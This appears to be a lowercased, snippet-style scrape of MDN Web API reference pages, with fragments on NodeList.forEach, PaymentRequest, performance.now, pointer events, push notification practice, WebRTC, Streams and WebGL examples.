ild(kid3); let list = node.childnodes; list.foreach( function(currentvalue, currentindex, listobj) { console.log(currentvalue + ', ' + currentindex + ', ' + this); }, 'mythisarg' ); the above code results in the following: [object htmlparagraphelement], 0, mythisarg [object text], 1, mythisarg [object htmlspanelement], 2, mythisarg polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } or if (window.nodelist && !nodelist.prototype.foreach) { nodelist.prototype.foreach = array.protot...
...if you'd like to co...
...otype.foreach) { nodelist.prototype.foreach = array.prototype.foreach; } the above behavior is how many browsers actually implement nodelist.prototype.foreach() (chrome, for example). specifications specification status comment web idlthe definition of 'foreach' in that specification. candidate recommendation defines foreach on iterable declarations browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome ...
PaymentRequest.PaymentRequest() - Web APIs
]); parameters methoddata contains an array of identifiers for the payment methods the merchant web site accepts and any associated payment method specific data. each item in the array contains the following fields: supportedmethods for early implementations of the spec, this was a sequence of identifiers for payment methods that the merchant website accepts. starting with more recent browsers, this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods. for example, the basic card payment method is selected by specifying the string basic-card here. data a json-serializable object that provides optional information that might be needed by the supported payment methods. this has to conform to ...
...nt handler indicated by supportedmethods. for basic credit card services, this structure should match the basiccardrequest dictionary. details provides information about the requested transaction. this parameter contains the following fields: total the total amount of the payment request. id optional a free-form identifier for this payment request. if a value is not supplied, the browser will construct one. displayitems an array of optional line items for the payment request that the user agent may display, such as product details, tax, and shipping. shippingoptions the shipping options the user may choose from. if this sequence is blank, it indicates the merchant cannot ship to the current shipping address. the default shipping option may be indicated in this sequence.
...t: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here. // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. }) .catch(function(err) { // do something with the error from request.show(). }); } catch (e) { // catch any other errors. } specifications specification status comment payment request apithe definition of 'paymentrequest() constructor' in...
PaymentRequest.canMakePayment() - Web APIs
the paymentrequest method canmakepayment() determines whether or not the request is configured in a way that is compatible with at least one payment method supported by the user agent. you can call this before calling show() to provide a streamlined user experience when the user's browser can't handle any of the payment methods you accept. for instance, you might call canmakepayment() to determine if the browser will let the user pay using payment request api, and if it won't, you could fall back to another payment method, or offer a list of methods that aren't handled by payment request api (or even provide instructions for paying by mail or by phone). syntax paymentrequest.canmakepayment() .then( canpay => { ... }) .catch( error => { ... }) canpay = await paymentrequest.canmak...
...anpay => { ... }) .catch( error => { ... }) canpay = await paymentrequest.canmakepayment(); returns a promise to a boolean that resolves to true if the user agent supports any of the payment methods supplied when instantiating the request using the paymentrequest constructor. if the payment can't be processed, the promise receives a value of false. note: if you call this too often, the browser may reject the returned promise with a domexception. parameters none examples in the following example, is excerpted from a demo that asynchronously builds a paymentrequest object for both apple pay and credit cards. it wraps the call to canmakepayment() in feature detection, and calls an appropriate callback depending on the resolution of the promise. async function initpaymentrquest() ...
...ethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcanmakepayment()chrome ...
performance.now() - Web APIs
Web › API › Performance › now
will be lower than performance.now() in the window who spawned that worker. it used to be the same as t0 of the main context, but this was changed. in shared or service workers, the value in the worker might be higher than that of the main context because that window can be created after those workers. it's important to keep in mind that to mitigate potential security threats such as spectre, browsers typically round the returned value by some amount in order to be less predictable. this inherently introduces a degree of inaccuracy by limiting the resolution or precision of the timer. for example, firefox rounds the returned time to 1 millisecond increments. the precision of the returned value is subject to change if/when the security concerns are alleviated through other means. syntax t...
... always increase at a constant rate, independent of the system clock (which might be adjusted manually or skewed by software like ntp). otherwise, performance.timing.navigationstart + performance.now() will be approximately equal to date.now(). reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1ms. // reduced time precision (1ms) in firefox 60 performance.now(); // 8781416 // 8781815 // 8782206 // ... // reduced time precision with `privacy.resistfingerprinting` enabled performance.now(); // 8865400 // 8866200 // 8866700 // ... in firefox, you can also enable privacy.resistfi...
...fingerprinting.reducetimerprecision.microseconds, whichever is larger. starting with firefox 79, high resolution timers can be used if you cross-origin isolate your document using the cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-level document does not share a browsing context group with cross-origin documents. coop process-isolates your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks. specifications specification status comment high resolution time level 2the definition of 'performance.now()' in that specification. re...
PerformanceFrameTiming - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event. ...
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event. ...
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event. this information can be used to help identify areas that take too long to provide a good user experience. ...
PerformanceNavigationTiming.type - Web APIs
prerender navigation is initiated by a prerender hint. this property is read only . ...
... prerender navigation is initiated by a prerender hint. this property is read only . ...
... prerender navigation is initiated by a prerender hint. this property is read only . syntax perfentry.type; return value a string which is one of the values listed above. ...
PerformanceNavigationTiming - Web APIs
for example, this interface can be used to determine how much time it takes to load or unload a document. ...
...erformanceresourcetiming properties for navigation performance entry types by qualifying and constraining them as follows: performanceresourcetiming.initiatortyperead only returns "navigation". the interface also supports the following properties: performancenavigationtiming.domcomplete read only a domhighrestimestamp representing a time value equal to the time immediately before the browser sets the current document readiness of the current document to complete. performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes. performancenavigationtiming.domcontentloadedeventstart read only a domhighrestimestamp representing the time val...
...load event of the current document is completed. performancenavigationtiming.loadeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the load event of the current document is fired. performancenavigationtiming.redirectcount read only a number representing the number of redirects since the last non-redirect navigation under the current browsing context. if there was no redirect, or if the redirect was from another origin, and that origin does not permit it's timing information to be exposed to the current origin then the value will be 0. performancenavigationtiming.requeststart read only a domhighrestimestamp representing the time immediately before the user agent starts requesting the resource from the server, or from relevant a...
Using the Performance API - Web APIs
are defined in the high-resolution time standard. other web performance guides (listed in the see also section) describe how to use additional methods and properties of the performance interface. high precision timing high precision timing is achieved by using the domhighrestimestamp type for time values. the unit is milliseconds and should be accurate to 5 µs (microseconds). however, if the browser is unable to provide a time value accurate to 5 microseconds (because of hardware or software constraints, for example), the browser can represent the value as a time in milliseconds accurate to a millisecond. the following code example shows the use of domhighrestimestamp and the performance.now() method. the now() method returns a timestamp (of type domhighrestimestamp) that is a discrete po...
... ...
... ...
Performance Timeline - Web APIs
e api defines extensions to the performance interface to support client-side latency measurements within applications. the extensions provide interfaces to retrieve performance entry metrics based on specific filter criteria. the standard also includes interfaces that allow an application to define performance observer callbacks that are notified when specific performance events are added to the browser's performance timeline. this document provides an overview of the standard's interfaces. for more details about the interfaces, see the reference pages and using performance timeline. performance extensions the performance timeline api extends the performance interface with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specifi...
... disconnect() method that stops an observer from receiving further events. performance observers were added to the level 2 version of the standard and were not widely implemented. implementation status a summary of the interfaces' implementation status is provided below, including a link to more detailed information. performance interface extensions: as shown in the performance interface's browser compatibility table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performanceentry: as shown in the performanceentry interface's browser compatibility table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performance observers : as shown in the performanceobserver i...
...lity table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performanceentry: as shown in the performanceentry interface's browser compatibility table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performance observers : as shown in the performanceobserver interface's browser compatibility table, this interface has no shipping implementations. to test your browser's support for these interfaces, run the perf-api-support application. see also a primer for web performance timing apis ...
PointerEvent - Web APIs
oint, the device type that generated the event, the amount of pressure that was applied on the contact surface, etc. a pointer is a hardware agnostic representation of input devices (such as a mouse, pen or contact point on a touch-enable surface). the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen. a pointer's hit test is the process a browser uses to determine the target element for a pointer event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. constructors pointerevent() creates a synthetic—and untrusted—pointerevent. properties this interface inherits properties from mouseevent and event. pointerevent.pointerid read only a ...
...he event (mouse, pen, touch, etc.) pointerevent.isprimary read only indicates if the pointer represents the primary pointer of this pointer type. methods pointerevent.getcoalescedevents() returns a sequence of all pointerevent instances that were coalesced into the dispatched pointermove event. pointerevent.getpredictedevents() returns a sequence of pointerevent instances that the browser predicts will follow the dispatched pointermove event's coalesced events. pointer event types the pointerevent interface has several event types. to determine which event fired, look at the event's type property. note: it's important to note that in many cases, both pointer and mouse events get sent (in order to let non-pointer-specific code still interact with the user). if you use pointer...
...ssed. for touch, it is fired when physical contact is made with the digitizer. for pen, it is fired when the stylus makes physical contact with the digitizer. pointermove this event is fired when a pointer changes coordinates. pointerrawupdate this event is fired when any of a pointer's properties change. pointerup this event is fired when a pointer is no longer active. pointercancel a browser fires this event if it concludes the pointer will no longer be able to generate events (for example the related device is deactived). pointerout this event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see p...
Web Push API Notifications best practices - Web APIs
this article provides a useful summary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement. “if done well, it's nice to have, but if not done well, it's really annoying.” — overheard conversation between two browser developers discussing the ethics of push notifications. overview of web push notifications web push notifications (created using a combination of the notifications, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites. searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a pur...
...that they can’t ignore! but really, is this the best use of push notifications? or is it a new iteration on the old and tired pop-up ad? “web push doesn’t risk ending up in the spam folder. nor can it be blocked by ad blockers. it shows right up on your desktop even when the website is shut. in mobile, it shows up in the notification tray, just like app push notifications, even when the browser is not running.” — an unnamed marketing site positive uses of push but there’s a bright and useful side to push notifications, too. let’s say you and your team commonly use a chat program to communicate, but today you’re happily working somewhere, and problem comes up. say your program manager found a hiccup in the approvals and wants to get your feedback on something before she pr...
...t annoying. your notifications should be assistive, not disruptive. building trust some studies have shown that as many as 60% of push notifications are blocked. allowing your site to push notifications in realtime requires trust. you can build trust by having a well-designed website that provides good content that shows respect for the user, and a clear value to accepting push notifications. browser mitigations because of abuses of push notifications in the past, web browser developers have begun to implement strategies to help mitigate this problem. for example, safari 12.1 now requires—and other browsers either already do, or are planning[1] to do so—that the user interact with the page in some way before the page can request permission to perform push notifications. this at least p...
RTCConfiguration.certificates - Web APIs
e when authenticating duing the connection process. syntax let rtcconfiguration = { certificates: certificatelist }; let rtcconfiguration.certificates = [ cert1... ]; let certificates = rtcconfiguration.certificates; value an array of rtccertificate objects, each specifying one security certificate available for use when connecting to a remote peer. if this property isn't specified, the browser will automatically generate and use a certificate to secure the connection. see using certificates below for more information on why you might want to—or not to—explicitly provide certificates. description if this property isn't included in the configuration, a set of certificates is automatically generated for each instance of rtcpeerconnection. although a given dtls connection only use...
...d in the configuration, a set of certificates is automatically generated for each instance of rtcpeerconnection. although a given dtls connection only uses a single certificate, providing multiple options in the certificates list may improve the odds of establishing a connection by increasing the chances a mutually-compatible encryption algorithm and key size may be found. the method by which a browser decides which certificate to use is implementation-dependent. some browsers may simply choose the first listed certificate and ignore the rest of the list; others may take a different approach. using certificates when you wish to provide your own certificates for use by an rtcpeerconnection instead of having the rtcpeerconnection generate them automatically, you do so by calling the static rt...
... candidate recommendation initial definition. ...
RTCDataChannel.send() - Web APIs
the send() method of the rtcdatachannel interface sends data across the data channel to the remote peer. this can be done any time except during the initial process of creating the underlying transport channel. data sent before connecting is buffered if possible (or an error occurs if it's not possible), and is also buffered if sent while the connection is closing or closed. different browsers have different limitations on the size of the message you can send. specifications exist to define how to automatically fragment large messages, but not all browsers implement them, and those that do have various additional restrictions. this will get less complicated over time, but for now, if you have questions, see understanding message size limits in using webrtc data channels. syntax rtcdatach...
...n't room for it in the buffer. in this scenario, the underlying transport is immediately closed. typeerror the specified data is too large for the other peer to receive. since there are multiple techniques for breaking up large data into smaller pieces for transfer, it's possible to encounter scenarios in which the other peer does not support the same ones. for example, if one peer is a modern browser that supports using the eor (end of record) flag to indicate when a received message is the last piece of a multi-part object sent using send(). for more information about message size restrictions, see understanding message size limits in using webrtc data channels. example in this example, a routine called sendmessage() is created; it accepts an object as input and sends to the remote peer...
...atachannel, a json string with the specified object and a time stamp. var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification. candidate recommendation initial specification. ...
RTCIceCandidate.usernameFragment - Web APIs
e is a string indicating the username fragment ("ufrag") that uniquely identifies a single ice interaction session. this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate(). note that 24 bits of the username fragment are required to be randomized by the browser. see randomization below for details. if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of usernamefragment is extracted from the m-line. syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice pass...
...ing ice interaction, including for any communication with the stun server. the string may be up to 256 characters long, and has no default value. randomization at least 24 bits of the text in the ufrag are required to be randomly selected by the ice layer at the beginning of the ice session. the specifics for which bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide. for example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1. another example: it might take a user-defined string and append three 8-bit random bytes to the end. or perhaps every character is entirely random. usage notes ice uses the usernamefragment and password to ensure message integr...
... candidate recommendation initial definition. ...
ReadableStream - Web APIs
the tee method tees this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. each of those streams receives the same incoming data. readablestream[@@asynciterator]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.re...
...((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read? ...
... living standard initial definition ...
ReadableStreamDefaultReader - Web APIs
en to the underlying source, which may or may not use it. readablestreamdefaultreader.read() returns a promise providing access to the next chunk in the stream's internal queue. readablestreamdefaultreader.releaselock() releases the reader's lock on the stream. examples in the following example, an artifical response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return re...
...nse) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read? ...
... living standard initial definition ...
Reporting API - Web APIs
epts and usage there are a number of different features and problems on the web platform that generate information useful to web developers when they are trying to fix bugs or improve their websites in other ways. such information can include: content security policy violations. feature-policy violations. deprecated feature usage (when you are using something that will stop working soon in browsers). occurrence of crashes. occurrence of user-agent interventions (when the browser blocks something your code is trying to do because it is deemed a security risk for example, or just plain annoying, like auto-playing audio). the reporting api's purpose is to provide a consistent reporting mechanism that can be used to make such information available to developers in the form of reports rep...
...stances using its constructor, which can then be used to collect and access reports. report an object representing a single report. reporting api dictionaries reportingobserveroptions allows options to be set in the constructor when creating a reporting observer. available report types the spec defines the following report types: deprecation report indicates that a webapi or other browser feature being used in the website is expected to stop working in a future release. indicated by a report.body property with a deprecationreportbody return value. intervention report indicates that a request made by the website has been denied by the browser, e.g. for security or user annoyance reasons. indicated by a report.body property with a interventionreportbody return value. crash repo...
...indicated by a report.body property with a crashreportbody return value. ...
Using the Resource Timing API - Web APIs
console.log("... encodedbodysize[" + i + "] = " + list[i].encodedbodysize); else console.log("... encodedbodysize[" + i + "] = not supported"); if ("transfersize" in list[i]) console.log("... transfersize[" + i + "] = " + list[i].transfersize); else console.log("... ...
...the setresourcetimingbuffersize() method sets the resource performance entry buffer size to the specified number of resource performance entries. the following example demonstrates the usage of these two methods. ...
...rted) { console.log("... performance.setresourcetimingbuffersize() = supported"); performance.setresourcetimingbuffersize(n); } else { console.log("... performance.setresourcetimingbuffersize() = not supported"); } } the performance interface has a onresourcetimingbufferfull event handler that gets called (with an event of type event.type of "resourcetimingbufferfull") when the browser's resource performance entry buffer is full. the following code example sets a onresourcetimingbufferfull event callback in the init() function. function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "h...
SVGTransformList - Web APIs
it </text> </svg> live preview: specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtransformlist' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtransformlist' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformlistchrome ...
... ...
... ...
Screen Capture API - Web APIs
mediatrackconstraints.cursor a constraindomstring indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion. mediatrackconstraints.displaysurface a constraindomstring indicating what type of display surface is to be captured. the value is one of application, browser, monitor, or window. mediatrackconstraints.logicalsurface indicates whether or not the video in the stream represents a logical display surface (that is, one which may not be entirely visible onscreen, or may be completely offscreen). a value of true indicates a logical display surface is to be captured. mediatracksettings mediatracksettings.cursor a string which indicates whether or no...
... a string which indicates whether or not the display surface currently being captured includes the mouse cursor, and if so, whether it's only visible while the mouse is in motion or if it's always visible. the value is one of always, motion, or never. mediatracksettings.displaysurface a string indicating what type of display surface is currently being captured. the value is one of application, browser, monitor, or window. mediatracksettings.logicalsurface a boolean value which is true if the video being captured doesn't directly correspond to a single onscreen display area. mediatracksupportedconstraints mediatracksupportedconstraints.cursor a boolean which is true if the user agent and device support the mediatrackconstraints.cursor constraint. mediatracksupportedconstraints.displa...
...string type used to provide the value for the cursor property for the settings and constraints. the possible values are always, motion, and never. displaycapturesurfacetype an enumerated string type which is used to identify the kind of display surface to capture. this type is used for the displaysurface property in the constraints and settings objects, and has the possible values application, browser, monitor, and window. feature policy validation user agents that support feature policy (either using http's feature-policy header or the <iframe> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <iframe allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any content w...
SharedWorker - Web APIs
constructors sharedworker() creates a shared web worker that executes the script at the specified url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. ...
... constructors sharedworker() creates a shared web worker that executes the script at the specified url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. ...
... constructors sharedworker() creates a shared web worker that executes the script at the specified url. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. ...
Streams API concepts - Web APIs
hen be read by two separate readers. this is called teeing. in javascript, this is achieved via the readablestream.tee() method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this. writable streams a writable stream is a destination into which you can write data, represented in javascript by a writablestream object. this serves as an abstraction over the top of an underl...
...that have been written to the stream but not yet been processed by the underlying sink. there is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished). you can make use of writable streams using the writablestream() constructor. these currently have very limited availability in browsers. pipe chains the streams api makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. there are two methods available in the spec to facilitate this: readablestream.pipethrough() — pipes the stream through a transform stream, which is a pair comprised of a writable stream that ha...
...d more useful ideas and examples in the spec — see transform streams for ideas, and this web sockets example. readablestream.pipeto() — pipes to a writable stream that acts as the end point of the pipe chain. the start of the pipe chain is called the original source, and the end is called the ultimate sink. note: this functionality isn't fully thought through yet, or available in many browsers. at some point the spec writers hope to add something like a transformstream class to make creating transform streams easier. backpressure an important concept in streams is backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. when a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a ...
UIEvent.initUIEvent() - Web APIs
omment document object model (dom) level 3 events specificationthe definition of 'uievent.inituievent()' in that specification. obsolete from document object model (dom) level 2 events specification, deprecated. document object model (dom) level 2 events specificationthe definition of 'uievent.inituievent()' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinituievent deprecatedno...
...not for use in new websites.deprecated. not for use in new websites. see also uievent the constructor to use instead of this deprecated method: uievent(). more specific constructors can be used too. ...
...not for use in new websites.deprecated. not for use in new websites. see also uievent the constructor to use instead of this deprecated method: uievent(). more specific constructors can be used too. ...
UIEvent.layerX - Web APIs
Web › API › UIEvent › layerX
ment id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this property is not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlayerx non-standardchrom...
... ...
... ...
User Timing API - Web APIs
there are two types of user defined timing event types: the "mark" event type and the "measure" event type. mark events are named by the application and can be set at any location in an application. measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks. this document provides an overview of the mark and measure performance event types including the four user timing methods that extend the performance interface. ...
...an overview of the mark and measure performance event types including the four user timing methods that extend the performance interface. for more details and example code regarding these two performance event types and the methods, see using the user timing api. performance marks a performance mark is a named performance entry that is created by the application. the mark is a timestamp in the browser's performance timeline. creating a performance mark the performance.mark() method is used to create a performance mark. the method takes one argument, the name of the mark (for example performance.mark("mark-1")). the mark's performance entry will have the following property values: entrytype - set to "mark". name - set to the "name" given when the mark was created. starttime - set to t...
... to "measure" to get all measures. removing performance measures to remove a specific measure from the performance timeline, call performance.clearmeasures(name) where name is the name of the measure(s) you want removed. if this method is called with no arguments, all measure type entries will be removed from the performance timeline. interoperability as shown in the performance interface's browser compatibility table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are desktop safari and mobile safari, however the safari technology preview 24 has support). to test your browser's support for this api, run the perf-api-support application. see also user timing standard; w3c editor's draft caniuse data a primer for web performance ...
Detect WebGL - Web APIs
to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands. ...
...w.addeventlistener("load", function() { var paragraph = document.queryselector("p"), button = document.queryselector("button"); // adding click event handler to button. button.addeventlistener("click", detectwebglcontext, false); function detectwebglcontext () { // create canvas element. ...
...nt itself, so it is never displayed in the // browser window. var canvas = document.createelement("canvas"); // get webglrenderingcontext from canvas element. var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); // report the result. if (gl && gl instanceof webglrenderingcontext) { paragraph.innerhtml = "congratulations! your browser supports webgl."; } else { paragraph.innerhtml = "failed to get webgl context. " + "your browser or device may not support webgl."; } } }, false); the source code of this example is also available on github. « previousnext » ...
Hello GLSL - Web APIs
« previousnext » this webgl example demonstrates a very basic glsl shader program that draws a solid color square. note: this example will most likely work in all modern desktop browsers. but it may not work in some mobile or older browsers. if the canvas remains blank, you can check the output of the next example, which draws exactly the same thing. but remember to read through the explanations and code on this page, before moving on to the next. hello world program in glsl a very simple first shader program. ...
...top browsers. but it may not work in some mobile or older browsers. if the canvas remains blank, you can check the output of the next example, which draws exactly the same thing. but remember to read through the explanations and code on this page, before moving on to the next. hello world program in glsl a very simple first shader program. ...
... « previousnext » ...
Raining rectangles - Web APIs
ebgl graphics pipeline and state machine. in addition, the example demonstrates how to integrate the webgl function calls within a game loop. the game loop is responsible for drawing the animation frames, and keeping the animation responsive to user input. here, the game loop is implemented using timeouts. <p>you caught <strong>0</strong>. ...
...ut to call drawanimation again in 17ms. // otherwise we won't get any animation. timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click event from // window coordinates to relative position inside the canvas. // in addition we need to remember that vertical position in // webgl increases from bottom to top, unlike in the browser // window. var position = [ evt.pagex - evt.target.offsetleft, gl.drawingbufferheight - (evt.pagey - evt.target.offsettop), ]; // if the click falls inside the rectangle, we caught it. // increment score and create a new rectangle. var diffpos = [ position[0] - rainingrect.position[0], position[1] - rainingrect.position[1] ]; if ( diffpos[0] >= 0 && diffpos[0] ...
... « previousnext » ...
Scissor animation - Web APIs
t its color once, and then update only its position every frame. the clear color state of webgl remains at the set value, until we change it again when a new square is created. ...
...mation, false); // variables to hold the webgl context, and the color and // position of animated squares. var gl, color = getrandomcolor(), position; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); gl.clearcolor(color[0], color[1], color[2], 1.0); // unlike the browser window, vertical position in webgl is // measured from bottom to top. in here we set the initial // position of the square to be at the top left corner of the // drawing buffer. position = [0, gl.drawingbufferheight]; var button = document.queryselector("button"); var timer; function startanimation(evt) { button.removeeventlistener(evt.type, startanimation, false); button...
... « previousnext » ...
WebGL constants - Web APIs
constant name value description static_draw 0x88e4 passed to bufferdata as a hint about whether the contents of the buffer are likely to be...
...s are defined on the webgl2renderingcontext interface. all webgl 1 constants are also available in a webgl 2 context. getting gl parameter information constants passed to webglrenderingcontext.getparameter() to specify what information to return. ...
...ting gl parameter information constants passed to webglrenderingcontext.getparameter() to specify what information to return. ...
Matrix math for the web - Web APIs
erform helpful operations on points. the next sections will demonstrate some of these matrices. multiplying two matrices in addition to multiplying a matrix and a point together, you can also multiply two matrices together. ...
...= [matrixb[ 8], matrixb[ 9], matrixb[10], matrixb[11]]; let row3 = [matrixb[12], matrixb[13], matrixb[14], matrixb[15]]; // multiply each row by matrixa let result0 = multiplymatrixandpoint(matrixa, row0); let result1 = multiplymatrixandpoint(matrixa, row1); let result2 = multiplymatrixandpoint(matrixa, row2); let result3 = multiplymatrixandpoint(matrixa, row3); // turn the result rows back into a single matrix return [ result0[0], result0[1], result0[2], result0[3], result1[0], result1[1], result1[2], result1[3], result2[0], result2[1], result2[2], result2[3], result3[0], result3[1], result3[2], result3[3] ]; } let's look at this function in action: let somematrix = [ 4, 0, 0, 0, 0, 3, 0, 0, 0, 0, 5, 0, 4, 8, 4, 1 ] let identitymatrix = [ 1, 0...
...aking it easy to see what is being done. <div id='move-me' class='transformable'> <h2>move me with a matrix</h2> <p>lorem ipsum dolor sit amet, consectetur adipisicing elit...</p> </div> finally, for each of the examples we will generate a 4x4 matrix, then update the <div>'s style to have a transform applied to it, set to a matrix3d. bear in mind that even though the matrix is made up of 4 rows and 4 columns, it collapses into a single line of 16 values. matrices are always stored in one-dimensional lists in javascript. // create the matrix3d style property from a matrix array function matrixarraytocssmatrix(array) { return 'matrix3d(' + array.join(',') + ')'; } // grab the dom element let moveme = document.getelementbyid('move-me'); // returns a result like: "matrix3d(1, 0, 0, 0,...
Getting started with WebGL - Web APIs
webgl programs consist of control code written in javascript and shader code (glsl) that is executed on a computer's graphics processing unit (gpu). webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this article will introduce you to the basics of using webgl. ...
...code, is called when our script is loaded. its purpose is to set up the webgl context and start rendering content. // // start here // function main() { const canvas = document.queryselector("#glcanvas"); // initialize the gl context const gl = canvas.getcontext("webgl"); // only continue if webgl is available and working if (gl === null) { alert("unable to initialize webgl. your browser or machine may not support it."); return; } // set clear color to black, fully opaque gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear the color buffer with specified clear color gl.clear(gl.color_buffer_bit); } window.onload = main; the first thing we do here is obtain a reference to the canvas, assigning it to a variable named canvas. once we have the canvas, we try to get a we...
